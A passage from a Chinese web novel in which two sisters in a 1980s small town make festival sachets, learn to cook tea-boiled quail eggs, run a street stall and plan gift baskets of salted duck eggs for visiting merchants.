先前有过一阵“破四旧”，估计大家都还有点儿心有余悸，才没人把这些小玩意儿大大咧咧拿出来。
只现在，白春枝广播听了不少，加上萧远山在外头看到的变化，知道这改革开放，不仅市场上要打开，思想上也要解放，过节的习俗应该是没人管了。
而时下开始兴起的鲜艳颜色就是最好的验证。
他们这个镇虽小，却也一改之前纯朴之感，一众灰扑扑中偶尔能看到有小姑娘开始穿碎花小裙了，那感觉也是非常亮眼的。
端午这些香包、五彩绳，还有用彩线缠绕的三尖角，原来是每家自己在弄。
过节么，总得有那么个意思的。
她们或许也可以趁这块没人想到，试着先做几个出来看看，毕竟端午的香包、三尖角里头放些艾草挺实用的，五彩绳虽然只起个装饰作用，寓意却是很好了。
说着，两姐妹就行动起来，反正东西都是现成的。
几块大红大绿能用得上的料子是做被面剩下的，原来的老棉被非常的重，被套是直接缝上去的，中间会用一块比较好的缎子，只是拆洗不方便。
白春枝新打的那两床棉絮，就改做铺盖了，直接套上，换洗要轻松点。
这点小布头自然是用不上了，拿来拼接几个小香包却正正合适。
白春枝手巧，不过妹妹白春芽在色彩上更时髦些，大大小小的料子，每块儿的提花图案也不一样，仔细想想怎么搭配也是需要一点审美的。
就这样，姐妹俩做着做着逐渐分上工了。
白春芽做前半部分，挑一块儿稍大块的面料做包身，再来一点有点反差色的布条做包边，裁剪定位。
白春枝在此基础上面绣花，缝合收口和穿绳。
一会儿的功夫，几个香包就做好了，红的蓝的绿的黄的，瞧着还挺好看了。
两姐妹并不贪多，这几个就够了，给大毛二毛和小毛几个孩子各分一个，装点艾草挂上驱蚊，余下两个拿来她们明天做展示??。
“五彩绳呢？”白春芽见姐姐还收藏了不少彩线，又问道，“也编两根？”
“你看看颜色够不够？”
白春枝这么说着，也尽量给妹妹找彩线。
她做这些手工活儿的习惯就是每样都舍不得扔，全给收集了起来，总觉得是还有用，哪怕是打个补丁、拼接个小玩意儿，或者做个头花也好。
但先前物资确实不丰富，特别是稍微好点的面料都得要票了，也就近来才好些的。
将篮子翻了个遍，只找到两三种合适做彩绳的，白春枝不知道能不能行。
五彩绳顾名思义得五种颜色了，分别代表金木水火土，红黑白倒是常用色，红色也大众喜欢的颜色，她都有，而剩下的两种就有点难了。
最后，姐妹俩在多余的布头上抽丝了几支拧成的一股，当然，长度上比不了其他的，只能做一条。
“明天要真有人想要，我就去供销社看一下，我们都凑不起这五种，别家肯定也没有了。”
白春芽在手腕上试戴一番，还挺美的，不过这个小坎没击退她，反而激起了她做生意的斗志，仔细想想，真是处处是商机。
“行呀，现在像你这样爱美的小姑娘可不少，五彩绳要是卖不了了，还有其他得可以动脑筋的地方。”
白春枝也是由缝纫机联想到的，镇上人的消费和村里不一样，就她们自己来说，肯定不会花大价钱买成衣了，好些结婚的喜服都是提早一针一线缝的，但供销社、百货大楼却从来不缺买主。
“发箍吗？”
聊起这个白春芽更来劲了，小姑娘喜欢的东西可多了，头上别朵花都好看的，新鲜的花放不了多久，但假的总可以吧？
“还有布包！”
越想白春芽越觉得自己出去打工的决定非常正确，等她学点技术回来，说不定还能在镇上开个小店了。
“……”
白春枝还不知道妹妹的野心一点不输老娘的，只觉得她的提的几样都不错，做起来也不难。
“姑姑！”
“要嘘嘘——”
两姐妹聊得热火朝天，小孩儿们一个跟一个的醒了。
“嗨哟，等等啊二毛，小姑姑来咯！”
白春枝刚起身，白春芽已经冲出去了，她可太清楚这几个小娃娃是憋不住的，别是给姐姐今天刚铺的新床给尿了。
一阵忙活，连小毛也抱起来把了尿，又给大毛二毛喂了点温水，等他们吃着东西了，几张小嘴巴才彻底消停。
两人不闲聊了，带几个孩子出来，差不多该做晚饭了。
白大嫂和白二嫂见状毫不恋战，最后一把打完跟着进了灶房，她们俩还惦记着早些回去了，牌桌上的输赢是虚的，端午买卖却是真真的。
晚上相对中午那顿就稍显简单了点。
不过那只鸭子，白春枝还是准备拿来红烧，刚好泡了点干笋，不然那么肥的一只留来炖老鸭汤，他们一家得吃几天了。
“要不要给你们留着后面卤来吃？”
白母几刀“咔咔”的剁着鸭子，看剩下一对翅膀和两只鸭掌，转头问大女儿，本来中午就剩了不少好菜，这会儿又新做一道大菜，她估计也是吃不完，卤的话，还能多放两天。
“算了吧？”
白春枝却摇摇头，干脆一起烧了好了，她那点卤料都是从白母那儿端回来的，她还是不费功夫了。
“对哦，老妈会熬卤水，那会不会做茶叶蛋呢？”
白春芽听老娘说起卤味来，一下子就想到刚和姐姐聊到的新路子。
“茶叶蛋有什么难的，需要的料就那么几种，比卤肉卤菜那些好做多了。”
瞧白母说得有手就能做的样子，白春芽和姐姐对视了一眼，继续烧火没再多问，但她已经打定主意回去就跟老娘学。
白春芽起了个茶叶蛋的头就没下文了，白母有些好奇的再问了一嘴，得知这小妮子想一出是一出又打算做茶叶蛋买卖了，却摇摇头不太看好。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“为啥呀？”
见白母不同意，白春芽很是不解，那跟盐蛋不也差不多，都是要本钱的啊，家里都做了那么大几坛了！
“你知道这一个鸡蛋好多钱不？你费这么些功夫，又准备卖啥价位？”
白母是家里掌厨管粮的，哪怕她从不在镇上买米买菜，鸡蛋也因为家里的三个孙辈许久没卖过了，但她对市场上的价格门清儿。
“不说你想赚多少，你觉得没个好的口岸，有人来买你的茶叶蛋不？”
茶叶蛋这种人人都能做的东西，白母不是没见过人家卖，但也要看地段，人多的车站、学校，赶时间的是会有人出这个钱，其他地方就不要想了。
她看好盐蛋生意，也是趁着这端午过节，大家是有这个需求，愿意多花点钱。
“要不冬天雪水泡出来的鸭蛋更好吃，你看我还做不？”
“平常不年不节的，有好多人会大手大脚的在吃上面花费了？”
“你们一个个哦，在镇上多跑了几天，真当这儿镇上都是有钱人呀，天天大鱼大肉啊？”
“……”
白春芽被老母亲一通说教，瞬间闭嘴了。
不过就在她快打消这念头时，白大嫂转过来冲姐妹俩眨了眨眼。
等白母将鸭子都下锅，盖上锅盖去看孙子后，白大嫂才对白春芽和白春枝说起，她娘家那边，不止有人养鸡养鸭，还有人一家养鹌鹑的。
那小小的鹌鹑，别看着不起眼，因为养的人少，价格却是比鸡还贵，鹌鹑蛋自然也比鸡蛋价高。
“比鸡蛋都贵，那我们还卖什么啊？”
白春芽刚被白母教育了一顿不当家不知柴米油盐贵，这鹌鹑蛋比鸡蛋都精贵，更不行了吧？
“那是论斤卖呀！”
白大嫂话才开个头就被小姑子反问顶了回来，也不在意，跟两人掰碎了讲。
“你们想卖茶叶蛋，肯定是论个卖，鹌鹑蛋个头比鸡蛋小，一斤得四五十个了，单个的话，就比鸡蛋便宜了。”
“这倒是哦……”
“对呀，还有一个就是，现在家家户户孩子多，你们都说镇上的人有工作有收入，舍得花钱，但真的有那种大户人家每天给自家娃娃一家一个鸡蛋的啊？”
“应该没有——”
白春枝和白春芽齐齐摇头，至少她们这几天是没看到有，会买鸭蛋一般也会顺嘴问下鸡蛋，基本上是给家里坐月子的小媳妇。
“这不就是了。”
得到认同，白大嫂一改之前的寡言少语，以自身为例，继续说道。
“自家的娃自己心疼，我也心疼大毛二毛啊，但我也没得给他们一天一个鸡蛋的本事，不过要是同样的价格，一个鸡蛋抵几个鹌鹑蛋，倒是可以给娃娃尝个鲜，好歹一个个都能吃到，不得打架是吧？”
“这个注意好诶！”
消化完白大嫂说的，白春芽不能再同意了，就是她在家都给大毛二毛断了不少官司，她转身拉起白春枝的手直晃，生怕姐姐不同意。
“好啊！”白春枝被妹妹晃得头晕，笑着答应了，“这鹌鹑蛋，倒是可以拿到镇上来试试。”
只要解决了鸡蛋单价高的问题，她有什么理由不做呢，煤炉子是有的，不过是费两个蜂窝煤，这些多利用起来才是赚。
13. 喝酒
早夜饭吃完，天还是亮的。
娘子军们念着明天的买卖了，白春枝也不多留他们了，把多的鸡鸭打包给白母，再让萧远山赶车送大家回去。
“还送啥送哦？”
白母和小女儿提了大包小包出了灶房，听到大女儿的话，忙拉住女婿。
“你大哥跟二哥赶车就是了，明天一早给你们送东西刚好还过来，远山懒得跑了。”
“……”
白春枝看了眼萧远山，知道他明早不进山，又看向俩哥哥，都是会赶牛车的，也就赞同了白母的安排。
“那你们路上注意安全。”
“晓得了晓得了。”
白母上了车，声音听起来似乎比他们还着急了，一家子摆着手，让白春枝他们不用送了，回去也不远，有牛车更快了。
“啊，我的香包包掉了！”
“爸爸，快停车！”
“好了好了，快坐好，看一会儿掉下去了！”
“……”
白春枝和萧远山站在门口目送他们，隔老远了还能听到牛车上大毛二毛的尖叫，真是活泼得不行。
“走吧，我们也进去了。”
牛车变成了一个小点儿，萧远山轻轻拍了拍白春枝的头顶，要她进去了。
“咦，你晚上还喝酒了啦？”
闻到他身上淡淡的酒气，白春枝有些惊讶，要知道一开始是计划萧远山送大家回去了，一般晚上要赶车的话，他都是不喝酒的。
先前白春枝就听说村里有人吃席的时候喝多了，走夜路回去，结果栽到沟里去了，还好是夏天没多冷，要是冬天可不敢想，所以她一直有在提醒老爷子和萧远山晚上赶车可别喝酒。
“你闻闻——”
萧远山凑近小娘子，要她再确定一下。
“……”
站在屋檐下不如外头亮堂，白春枝倒没那么担心被人瞧见了，任由他揽着自己进去。
一抬头，白春枝只能看到萧远山的喉结。
等大门关上，趁着光线暗下来一瞬，反而叫白春枝更大胆些了，伸手勾住萧远山的脖子让他低头，嘴角擦过他的，才知道，夫君是逗她呢！
“明明就没喝。”
“刚老丈人和老爷子推拒的时候不小心洒了点。”
“哦。”
想到白父那个酒量，老爷子又那么的热情，白春枝点点头，是有这个可能。
“一会儿让你再仔细检查检查……”
见小娘子似乎有些不信，萧远山难得像是醉了般，开起了玩笑。
白春枝楞了下，反应过来立即给了萧远山胸口一拳。
搬家之后第一天，没了村里那准点儿打鸣的公鸡，白春枝和萧远山都有些起晚了，但相比于镇上人的作息，他们还是算早的。
只有老爷子年纪大了觉少，天刚蒙蒙亮就醒了，等小两口起来，他已经在镇上溜达完一圈了。
“要不也给您买个鸟笼回来？”
听到老爷子吹着不成调的口哨，萧远山忽然记起他清早赶来镇上送货时，有见过那些个早起遛鸟的老头，还挺悠闲了，想来，他家这位应该会喜欢吧？
“哼，先看能不能买到好鸟再说！”
老爷子确实喜欢，没直接拒绝孙子的好意了，只是也明白这几年不比早些时候。
以前那什么放鸽子、斗蛐蛐的，什么都有，不知道这会儿还有没有人敢卖这些东西。
不行的话，他得养几条鱼了。
见老爷子冷哼了一声就不搭理他，自个儿在天井摆弄那小缸睡莲了，萧远山也不多聊，转身去了灶房帮小娘子烧火。
“叩叩——”
他们这刚热上早饭，还没来得及吃，白母他们赶着牛车都到了。
“妈，你们怎么这么早？”白春枝摆好筷子，看了眼天，一轮红日还没完全冒出来，转身问白大哥和妹妹，“吃饭了吗？”
“吃了的，吃了的！”因为早上起得早，白母下了血本煮的荷包蛋，这会儿水都不打算喝了，招呼着老大卸车了，“这儿卸完，我们还赶到回去了，田里还有事儿。”
白母风风火火的，白春枝也不敢多耽误他们，不然一会儿回去路上该热起来了。
几个人搭把手，三坛子盐蛋、两筐粽子叶和艾草些，单独的还有两篮子。
一篮是一直在卖的新鲜鸭蛋，镇上人多每天十几二十还是能卖出去了，另一篮子是小小一个的鹌鹑蛋。
“你们两个哦，都说不做茶叶蛋，还喊老大媳妇给你们收鹌鹑蛋。”
提起这个，白母恨不得再戳一下两个心大女子的脑壳，真是不晓得在想什么，一件事还没扯撑头，又要弄其他了，当然，她也说强调了下家里嫂子的好了。
“昨天回去得倒是不迟，但是给你们摘完草草叶子洗好也不早了，你们大嫂还专门回去了一趟。”
“辛苦了辛苦了！”
白春枝和白春芽一人拎一篮子低头认错，也是她们太想当然了些。
“好了，不说那些塞边打网的。”
白母看两人认错态度良好，也不准备再费口舌骂人了，自己拿了个布包又进了灶房。
两姐妹默默对视一眼，还没想好要不要先把篮子放下了，里头又传来白母的叫骂声了。
“还慢悠悠的在外头扣虱子啊，快点儿进来！”
“来了来了……”
猜老母亲这是松口要教她们煮茶叶蛋了，姐妹俩抱着篮子同频率地追了进去。
白母先指挥白春枝去烧水、白春芽大概洗一下鹌鹑蛋，茶叶蛋要入味是需要蛋壳上有裂纹的，不管是煮的时候敲还是煮好后，太脏了肯定是不行的。
“我只说一遍哦，你们两个自己记清楚。”
嘴上说得严肃，白母却是主动带了料来的，白布包打开，里面有八角、桂皮、冰糖等。
“茶叶我没拿，你找屋头的，盐和花椒也要。”
“好！”
白家鲜少有人喝茶，白父也不太爱喝，最多上火了喝点菊花、金银花，白春枝应了声就去拿老爷子的茶罐。
煮茶叶蛋确实没什么难度。
将鹌鹑蛋下锅煮熟了，再捞出来把壳滚碎，鸡蛋的话，拿勺子敲碎也一样，然后重新煮一锅水，所有的
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料都放进去，继续煮蛋，或者泡，只要入味了就行。
“同样的，有卤水，卤鸡蛋、鹌鹑蛋都可以，看个人口味喜欢哪种。”
姐妹俩闻着和外面卖的几乎没差的味道，忙不迭点头，就差拿小本本记下来了，好在两人都惯了灶台上的事，这几个简单的步骤不至于动笔的。
“行了，你们自己看着差不多可以尝一下味，剩下的继续煮，还是端出来晾着都没问题，只是要注意夏天热了，天道大，不要变味了。”
白母说完想拍拍手，发现连围腰都没系，正好，收了包包就准备走了。
“老大收拾了，走了走了！”白母扭头冲小天井喊了一声，又回过来对白春芽说道，“下午你二哥来接你。”
这是担心白春芽自己揣那么多钱不安全了。
“晚点阿远也要托东西，到时候可以顺便送小妹回去。”
白春枝想起夫君也改了搬货的时间，连忙对白母提议道。
“那行，我们在屋头也看着点儿，你们要有个事回来不到，晚点你们大哥或者二哥就来接幺妹！”
白母点点头，没再假模假式的推拒了，不管是麻烦女婿还是老大老二，都是一家人。
该说的都说完了，老娘子转身就要走了，生怕谁要多留她似的。
“诶，妈你等下……”
前前后后不过一刻钟，白春枝都有些惊讶白母的速度，这中间还顺带教了她们煮茶叶蛋，随即想起什么，又忙去拿钱。
她们收鹌鹑蛋总不能一直要大嫂帮忙还负责垫钱的。
“大妹不用了，昨天幺妹已经给你大嫂了。”
看白春枝还掏钱出来，白大哥也想起这茬了，忙摆手。
“……”
白母见状也反应过来了，就知道她们姐妹俩是想一出是一出，这钱的事情都没商量好。
本来张口再骂两句，想想又觉得耽误时间，白母干瞪了眼白春枝，喊了老大，这回是真的走了。
“咱妈真是，铁娘子一个啊！”
刚看着锅里，晚一步出来的白春芽，最后就对上了老娘那么个眼神，不禁缩了缩脖子。
“估计是怕我们再十八相送吧？”
白春枝想着白母匆匆忙忙的来、又急急忙忙的走，不断地强调让他们别送了，忍不住开起来玩笑。
“哈哈哈哈老妈最烦这种墨迹了。”
笑完，白春枝赶紧吃了两口饭，两姐妹这才慢慢说起了正事。
茶叶鹌鹑蛋也直接五五开了，煤炉子白春枝这边出，但鹌鹑蛋得妹妹每天拿到镇上来了。
已经有粽叶的经验，白春芽倒不怕事情再多一件，只是更加期待今天的鹌鹑蛋能卖多少呢？
“等下还得煮粽子了，要不我们把炉子搬到门口去？”
这几天她们都会在外头摆一会儿，巷子的邻里差不多都习惯了出去买菜前来问一嘴，茶叶鹌鹑蛋煮出香味了，白春枝感觉应该能吸引到些买主，不说多少，去上学小孩儿们多半会招来了。
“嗯，走吧！”
早些摆上就能早点卖了，白春芽很是积极的开始行动起来。
14. 鹌鹑
“诶诶，你把锅端下来就行了，让你姐夫来。”
阻止了有些鲁莽的妹妹，白春枝连忙将在堂屋的萧远山喊进来。
“刚烧过的，小心烫。”
这煤炉子看着是个铁皮子，中间隔间隔热层做的实心，还挺重了，不过人家倒是考虑了搬运的问题，有一对耳朵可以提的。
“要不再垫个啥？”
白春枝用火钳子将烧红的蜂窝煤给取出来，还能感受到炉子的热气。
“不用。”
萧远山也没猛到徒手去提炉子了，他找了一根麻绳套在提耳上，这样就相对轻松些，也不危险。
白春枝和白春芽紧跟其后。
蜂窝煤重新放进去，锅端上，正开着的鹌鹑蛋又咕噜咕噜的响了起来。
“哎哟，春枝啊，你们两姐妹又弄啥新东西了？”
刚弄好，两人还没确定好谁来守了，生意就来了，还是之前那个非常热情的老婆婆。
这位就住他们斜对面，夫家姓李，大家都唤她李阿婆，白春枝也跟着这么叫了。
每回牛车刚到，李阿婆总能第一时间发现，别看她现在年纪是大了，但还掌管着家里的伙食，平日爱买些山货给孙孙末娃补补，可不就喜欢过来瞧一瞧么！
“新做的茶叶鹌鹑蛋，阿婆来尝一个哇？”
白春枝揭开锅盖，用勺子舀了一个，垫了一片叶子递给老婆婆。
“才煮好的，您来帮我们试下味道。”
“啊哟，这么好呀！”
李阿婆也不跟白春枝假客气了，笑眯眯地接了过去，老人家也不怕烫，吹了两下就剥开来吃了。
“嗯，好吃，完全入味了的，正合适。”
得到这么高的评价，两姐妹都挺高兴的，只要味道好，就不怕卖不出去，老婆婆吃完没整那些虚的，随即问了鹌鹑蛋怎么卖。
“一毛钱三个，三毛钱十个。”
现在鸡蛋要八毛一斤，稍微大个点的土鸡蛋就得一毛钱一个，而一个鸡蛋相当于三四个鹌鹑蛋。
这样比较的话，同样的一毛钱，买三个有味道鹌鹑蛋其实和鸡蛋差不多，但鹌鹑蛋本身就要比鸡蛋贵一点的。
而买上三毛钱的，就有十个鹌鹑蛋，这乍一听，是挺多了，况且，其中有一个还是送的，猛的一下，感觉占了便宜似的，很是让人有抢购的冲动。
“那给我来三毛钱的，我拿回去好给我末儿些吃。”
显然，李阿婆也在心里默算了下，迅速作出了决定，这鹌鹑蛋虽然小，倒是能让每个娃分上那么一两个，嘴里留点蛋味儿。
有了阿婆开的这个好头，两姐妹对鹌鹑蛋生意稍微有点信心了。
因为粽叶是今早上才到的，还来不及包。
白春枝趁萧远山出门前，让他出出力把东西都给搬到门口，反正她们也得先卖会儿叶子草的，今天又有盐蛋，顺便就一边包粽子一边卖鸭蛋。
“还有我们的香包和五彩绳，也拿出来挂上了？”
白春芽抬着小板凳，看这一筐一筐的鸭蛋和粽叶摆出来，确实挺像个小摊了，再瞧有路过的人在张望这边了，想抓紧时间布置布置。
“放这里吧！”
白春枝拿了个木盒出来，里头放了两个简单的白瓷盘，刚好香包和五彩绳都能铺平散开。
“这样也好看！”
白底更能凸显香包和五彩绳的颜色了，白春芽觉得姐姐这个法子好。
“……”
白春枝笑笑，没多说什么，其实还是准备不太充分，也没个可以像样的架子，不然做个那种糖葫芦的稻草杆子挂起来，大家一眼就能看到，不过目前她们也没多少东西，到不必样样都弄齐了，慢慢来。
姐妹俩轮流洗了手出来，刚坐下开始包粽子，顾客便上门了。
这条巷子保留着原来的格局，中间的青石板路不算是宽，每家每户门前还有条小的排水沟。
门口这块，真正像老式大户人家摆一对石狮的少，一般是在屋檐下摆上几个花盆，很明显能区分哪家是哪家了。
萧家刚搬来，这两天只在外面停一下牛车，门前一直是空的，所以，白春枝她们在屋檐下摆个小摊儿还挺明显的，一眼就能看到。
这会儿走来的，是母子两人。
白春枝对这位年轻妈妈还挺有印象的，她都已经来买过三回粽子了。
一开始，白春枝还以为他们家人比较多，只有这种才会成为她们的回头客，可听她和孩子对话，家里人口似乎挺简单的，就一家三口。
这不，走近了，见两姐妹正在包粽子，大人和小孩儿似乎都有些失望。
“今天也没有煮熟的粽子呀？”
这话听起来像是昨天就来过了，两人不由又看了面前的一大一小。
“还没来得及煮，要等一会儿才行。”
白春枝略带抱歉地说道，不过姐妹俩手下的动作没停，已经包好一些了，三个味道都有，只是她不太确定对方会不会买生的，没煮好的粽子不太好放，容易散，随即又指着炉子上的鹌鹑蛋介绍起来。
“这是茶叶鹌鹑蛋，是煮好的。”
“有新的东西啦？”
一筐筐的粽叶和鸭蛋占主要位置，这位妈妈都没注意边上的炉子，不过这会儿闻到香味瞬间被吸引了，又连忙低头问儿子。
“儿子，要不咱们买点这个有味道的鹌鹑蛋吧？你中午在托儿所好好吃饭！”
白春枝和白春芽看这妈妈跟个小豆丁有商有量的，还挺可乐了。
小毛孩儿紧盯咕噜开的鹌鹑蛋好半会儿，也不知道是不是被香味折服了，严肃的小脸学着大人的样子认真地点了点头，答应了妈妈。
“咳，我家孩子有点挑食，不爱吃肉。”
和儿子商量好，年轻妈妈转过来见两姐妹还在等他们了，不好意思地解释了下。
“你们说现在有不爱吃肉的孩子么，也就你家的肉粽，他还挺喜欢了，我们连着好几天都拿来当午饭，等晚上他爸爸回来再做点好吃的。”
“那这鹌鹑蛋可以试试，跟鸡蛋差不多，都挺有营养的。”
白春枝点点头，用了个广播里的新词类比了下，又说了价格。
最后，这个妈妈要了六毛的鹌鹑蛋，二
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十个分开装，说是要早上一顿、中午一顿。
“给，小朋友要拿好哦！”
小孩儿妈妈和孩子是一个人一个饭盒，估计是要拿到单位和托儿所吃食堂了，白春枝给他们装好递过去提醒道。
“儿子，快跟阿姨说谢谢。”
妈妈将饭盒放进随身的斜挎包，又教儿子讲礼貌。
“谢谢阿姨。”
小奶音瞬间打破小孩儿装大人的模样。
“真乖！”
白春枝看小孩儿那可可爱爱的样子很是想笑了，忍住了想要伸手摸摸他的婴儿肥，转头对他妈妈说起，粽子预计中午前就能煮好，孩子要是连鹌鹑蛋也不爱吃，可以一会儿来买。
“好好好！”
妈妈连连点头，表示感谢后，才拉着小孩儿走了。
就这么说了两句，巷子里出门上班买菜的人多了起来。
亏的前几天的固定摆摊，拎着菜篮子的大娘们顺路就过来瞧瞧了。
只买菜的，会觉得鹌鹑蛋稍贵，买的人少，但是她们又对白母泡的盐蛋格外感兴趣了，毕竟不用自己弄，还省了白酒那些。
带小孩儿一起的，则是大多数会买上两三毛的鹌鹑蛋来尝尝鲜。
等粽子包的差不多了，白春枝她们就准备收摊了。
一两个小时下来，和预计的差不多，新鲜的鸭蛋不多已经卖完了，盐蛋和鹌鹑蛋也销了一部分，巷子里的街坊大多都在自己包粽子了，买粽叶的只有零星几个。
“阿公，帮我们看到火哟！”
把粽子都放进锅了，白春枝请了老爷子来帮忙看火，她们这就要背着东西去其他街道看看了，不然等下中午更热。
隔了一天，两人又换着地方在卖，并且主要是盐蛋和粽叶，没煮的粽子各拿了二十个，只这几样倒是比之前卖得还快。
都没卖到中午，白春枝和妹妹就先后到家了。
“姐，我把那两个香包卖出去了！”
背篓还没放下，白春芽就凑到姐姐面前开心的分享喜讯。
“那挺不错的呀！”香包是手工缝的，她们定价不低，卖出去了肯定赚，白春枝又问道，“是你主动推的，还是别人问的？”
这点上，可以大致判断下除了吃食一类，其他的东西在镇上有没有市场。
“我戴了这个。”白春芽抬手晃了晃了她手上的五彩绳，“有人看到了就多问了一嘴，我没急着说手上的价格，顺势把香包拿出来给她们看，然后就有人买啦！”
越说越兴奋，白春芽连背篓也忘了解开，在姐姐提醒下，还摇头说不重，坐着喝了点水，才又从头到尾细细讲了讲。
其实跟白春枝预料的差不多，都是些喜欢鲜艳颜色的小姑娘。
在镇上跑了好些天的白春芽再不是什么都不懂的愣头青了，她也留了个心眼，仔细观察了一下。
这些人确实如姐姐说的，穿得花俏，爱打扮，手头也有闲钱的那一类，辫子上的头花都是她没见过的。
“……”
白春枝不禁在心头感叹了下，镇上有钱人真是不少，至少比她们想象的要多。
15. 礼盒
午饭，萧远山是回来吃的，在饭桌上他也说起一个事儿。
那外头的有钱人，才是真的多多了。
萧远山是看白家这几个娘子军做的端午生意还挺像模像样的，特别是白母的盐蛋送来后，更是丰富了品类，他就在送货的时候顺嘴问了下，帮忙推销一番。
而这些外地客商也确实要过节的，只是他们过节更多的是像走亲戚那样送礼。
当然了，外地人在这儿的“亲戚”少，主要是生意往来跑跑关系，逢年过节表示一下。
时下的村里人，乃至镇上的职工，其实过节都算比较朴素。
比如，割两斤肉、拎点蛋，好点就是麦乳精、水果罐头什么的，至于烟酒，那绝对是好礼重礼了，但总体而言，都是从实际出发，很实用的节礼。
外地客商讲的是一种送节的礼品盒，里面的东西是差不多，但用心包装过后，让他们拎在手上是显得体面又高档，这样才容易送得出去。
礼盒什么的，听得白春枝是一头雾水。
“姐夫，你说那么高的价格，那人也要定咱们的泡盐蛋啊？”
白春芽的关注点就很不一样了，她想到自己卖力推的香包才几毛钱，总共都不到一块，鹌鹑蛋更是一个赚一分多。
可她姐夫这个喊价，一个鸭蛋就要赚上好几毛了。
要知道，礼盒装的话，肯定不止一两个盐蛋了，送礼也没这样抠搜的，那一个盒子不得赚好几块了啊？
而这礼盒，在节前要能买上十个、上百个……
白春芽完全不敢想这得赚多少钱啊？
并且，这还没算要不要放粽子了，那玩意儿是熟的不好久放。
“别做白日梦了啊！”
白春枝轻轻点了点妹妹的额头，打破白春芽的幻想。
从鸭蛋的收价来算，礼盒肯定是很赚的，但要做出来还有人工和材料成本了。
而眼下更实际的，还是想想她们能不能做出来这个什么的礼盒了，不然一切都是空谈。
??其实在这之前萧远山就有跟白春枝聊过，要不他去问问那些客商收不收粽子和盐蛋。
但最终因为包装和运输的问题就此打住了，尤其是鸭蛋这种易碎的，包不好的话，很难运走，坏在路上了，损失会很大，得不偿失??。
“直接用食盒嘛！”
老爷子瞧几人商量不出个名堂，放下碗时顺便提了一嘴。
现在国家工业是发达些了，工人们吃食堂爱用铝饭盒，但以前的老东西，依然是有可取之处的，就单说木盒配上雕花的手艺，拿来当礼盒还不够精致么？
“里面再铺点干草草和报纸，要再显得档次点垫一层绸缎，这下鸡蛋啊鸭蛋啊总不会碎掉了吧？”
“……”这主意好是好，只是，“木盒那么大一个，会不会有些重了？”
几人在饭桌上，顺着老爷子这个思路不断的展开讨论。
最后一致决定用竹篮，这东西比木头的轻，质感上可能差点意思，但编好了里面铺上东西，效果应该也差不多，并且成本还低些。
“那我回去就问下老爹。”白春芽立即提名了白父，“前两天老妈不是让他给我们编篮子么，我看都成型了，只是我们这是蛋还没泡好，先拿来卖了。”
“行啊，到时候给爸算工钱。”
这也是算成本里的，要不，萧远山也不好意思喊价那么高的。
说好后，不提萧远山下午出去一趟怎么推礼盒，白春芽跟着姐姐继续包粽子时，都在各种尝试，想要将这大个头放进了。
那鸭蛋一个都赚几毛，这粽子那么大，不得更多了？
只是姐妹俩到底见识少，哪怕这段时间时常在镇上跑，但她们小地方的发展也不如市县，根本没什么大的工厂。
村里走出来的两人尚且不知道如今的食品厂都发展到了什么地步，不说引进的自动化生产线，可关于如何包装储存熟食这方面，肯定是不成问题的，毕竟国人还挺爱吃腌制品了。
白春枝或多或少是有点原来的老思维在。
根本没想起那广播讲到的现代技术，其实也能运用在国民生产生活中，完全可以去借鉴一下的。
所以，两姐妹想了好些法子都行不通。
主要也是夏天到了，这天气吃进嘴里的东西都不能放太久，最终，两人还是放弃了，先搞好盐蛋的存放和运输好了。
“今下午我们一起回去。”
离端午可没多少天了，他们想要挣这份钱，时间上可不算宽裕，白春枝打算不管成不成今天都要定下来了。
“那等下早点走？”白春芽想到这事儿，心头也是一阵火热，可想想又叹息道，“不知道姐夫啥时候回来啊，不会吃晚饭的时候吧？”
先前她们只买粽叶和粽子的时候，收拾的还挺早了，白春芽要不在姐姐家吃了午饭休息会儿，再溜溜哒哒的回去，都不用等家里人来接，她还真不知道姐夫下午什么结束。
白春枝往外头瞧了一眼，也不太确定。
萧远山其实也不是天天都会送山货，毕竟打猎需要时间，??而收草药和菌子又要看季节，??山里的事通常是说不准的，并不是时时刻刻想有就有了，他最近拿回来的钱，更多的是帮忙拉货的那部分。
这么想着，白春枝刚准备冲妹妹摇摇头，没想到门口有了动静，再抬头一看，还真是萧远山回来了。
“我们刚还在说，要不下午早些，回去先问问行不行。”
“要的。”
萧远山没有不同意的，放下手上的袋子，顺便说了下他刚出去一趟的收获。
“熟悉的那几个客商，我已经问了，要能做出来的话，他们都要，数量加起来值得一试，不过我们最好是做出个样来，说不定还能订到更多。”
“真的啊！”
这个回话，让姐妹俩都挺惊喜的，没想到真有人愿意礼节上多花费的，果然还是有钱人多。
“是啊……”
萧远山也被两姐妹夸张的语气感染了，不由笑了下。
其实他能那么顺利，要归功于白母的手艺了，今年这批盐蛋虽说还没做好，但往年的他们都是有见过的。
从开始用牛车能帮忙拉货挣外快后，萧远山忙的时候基本上就没怎么回家吃饭了，当然了，他也少有在外面吃，多自己带饭。
白春枝给他装过几次盐蛋，咸口的比较好下饭，就这样，凑在一起等车的客商们可不是瞧见了么？
本地的盐蛋，虽然还比不上那个全国出名咸鸭蛋，但也是这边地地道道的家常口味??，白母能很有经验的将鸭蛋泡得个个冒油，很是好吃。
三人要回村里，老爷子下午没事，也打算跟他们回去一趟。
将老爷子送去找老友，他们继续
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往白家赶，白母她们刚准备出去摘粽叶，见到几人这个点儿就回来挺惊讶了。
白春芽下了牛车赶紧把人拦住了，又朝屋里张望了下。
“我爸没出去吧？”
“没啊，才午睡起来，下午地里活儿不多。”
白母看到小女儿特不稳重的样子，也懒得说了，冲着里头努了努嘴，又看向大女儿，跟女婿一起回来的，准是有事了。
不能刚第一天卖鸭蛋就出问题了吧？
“那就好。”
白春枝见老娘子脸色开始有些不好了，怕她瞎担心，立刻接话把他们要卖礼盒的事说了。
重点是让家里再多准备点鸭蛋了，先前泡的那几趟估计是不够的。
“这能行么？”
白母不愧是比几人多吃了十几二十年饭，并没有被这大单子的惊喜冲昏头脑，反而很冷静的问了句。
要知道，自从有了尼龙绳后，人家城里最流行的是网兜了，这东西收放都方便，还能装不少东西。
网兜编织起来也简单，白母原来还自己编过一两个。
不过村里人不像镇上的需要天天去买菜，等他们有空闲了去赶场买卖点农副产品呢，那网兜崩开了又不够装，最后还不如背背篓了。
白母看了几人一眼，想着要卖这盐蛋的话，不像粽子是煮好的不怕碰，用网兜确实不合适。
“……”
白春枝没回话，直接退了半步，让萧远山跟老娘好好讲讲了，毕竟这个主意是他提的，怎么销出去也是他来，会比她们更清楚了。
等萧远山将这端午礼品盒，从头如何制作到尾怎么销售，都仔仔细细跟白家娘子军讲清楚了，不仅打消了白母的疑虑，两个嫂子更是全力支持。
